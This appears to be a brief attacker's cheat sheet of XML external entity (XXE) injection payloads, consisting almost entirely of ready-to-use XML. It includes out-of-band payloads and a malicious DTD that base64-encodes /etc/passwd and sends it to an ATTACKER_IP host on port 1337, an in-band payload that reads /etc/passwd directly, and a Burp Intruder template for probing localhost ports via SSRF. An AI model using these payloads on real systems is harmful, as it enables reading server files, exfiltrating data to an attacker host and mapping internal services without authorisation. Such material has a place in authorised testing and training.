XXE Injections

---

out of band XXE

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ATTACKER_IP:1337/" >]>
<upload><file>&xxe;</file></upload>

DTD for exfil

<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;

*get malicious DTD *

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://ATTACKER_IP:1337/sample.dtd">
<upload>
    <file>&exfil;</file>
</upload>

in-band XXE

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

intruder SSRF XXE

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>